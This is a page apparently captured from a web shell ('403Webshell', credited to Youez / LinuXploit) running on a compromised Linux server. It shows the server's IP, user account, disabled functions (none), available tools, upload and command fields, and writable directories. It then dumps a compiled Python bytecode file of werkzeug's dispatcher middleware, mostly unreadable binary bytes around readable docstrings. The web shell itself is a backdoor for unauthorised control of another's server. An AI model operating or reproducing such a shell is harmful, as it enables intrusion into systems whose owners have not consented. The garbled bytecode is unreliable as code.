403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/werkzeug/middleware/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/werkzeug/middleware/__pycache__/dispatcher.cpython-311.pyc
�

��b
��^�dZddlZejrddlmZddlmZddlmZGd�d��ZdS)aY
Application Dispatcher
======================

This middleware creates a single WSGI application that dispatches to
multiple other WSGI applications mounted at different URL paths.

A common example is writing a Single Page Application, where you have a
backend API and a frontend written in JavaScript that does the routing
in the browser rather than requesting different pages from the server.
The frontend is a single HTML and JS file that should be served for any
path besides "/api".

This example dispatches to an API app under "/api", an admin app
under "/admin", and an app that serves frontend files for all other
requests::

    app = DispatcherMiddleware(serve_frontend, {
        '/api': api_app,
        '/admin': admin_app,
    })

In production, you might instead handle this at the HTTP server level,
serving files or proxying to application servers based on location. The
API and admin apps would each be deployed with a separate WSGI server,
and the static files would be served directly by the HTTP server.

.. autoclass:: DispatcherMiddleware

:copyright: 2007 Pallets
:license: BSD-3-Clause
�N)�
StartResponse)�WSGIApplication)�WSGIEnvironmentc��eZdZdZ	d
dddejejedfddfd�Zdd	d
ddej	e
fd�ZdS)�DispatcherMiddlewareaJCombine multiple applications as a single WSGI application.
    Requests are dispatched to an application based on the path it is
    mounted under.

    :param app: The WSGI application to dispatch to if the request
        doesn't match a mounted path.
    :param mounts: Maps path prefixes to applications for dispatching.
    N�appr�mounts�returnc�&�||_|pi|_dS�N)rr	)�selfrr	s   �@/usr/lib/python3/dist-packages/werkzeug/middleware/dispatcher.py�__init__zDispatcherMiddleware.__init__3s��
����l�������environr�start_responserc�N�|�dd��}d}d|vr;||jvr|j|}nD|�dd��\}}d|�|��}d|v�;|j�||j��}|�dd��}||z|d<||d<|||��S)N�	PATH_INFO��/��SCRIPT_NAME)�getr	�rsplitr)r
rr�script�	path_infor�	last_item�original_script_names        r�__call__zDispatcherMiddleware.__call__;s������[�"�-�-���	��V�m�m����$�$��k�&�)��� &�
�
�c�1� 5� 5��F�I�2�I�2�y�2�2�I�
�V�m�m��+�/�/�&�$�(�3�3�C�&�{�{�=�"�=�=��!5��!>��
��(�����s�7�N�+�+�+rr)�__name__�
__module__�__qualname__�__doc__�t�Optional�Dict�strr�Iterable�bytesr�rrrr)s���������>B�#�#�
�#��
�1�6�#�'8�"8�9�:�#�
�	#�#�#�#�,�(�,�:I�,�	
��E�	�,�,�,�,�,�,rr)	r#�typingr$�
TYPE_CHECKING�_typeshed.wsgirrrrr*rr�<module>r.s�����@�����?�/�,�,�,�,�,�,�.�.�.�.�.�.�.�.�.�.�.�.�%,�%,�%,�%,�%,�%,�%,�%,�%,�%,r

Youez - 2016 - github.com/yon3zu
LinuXploit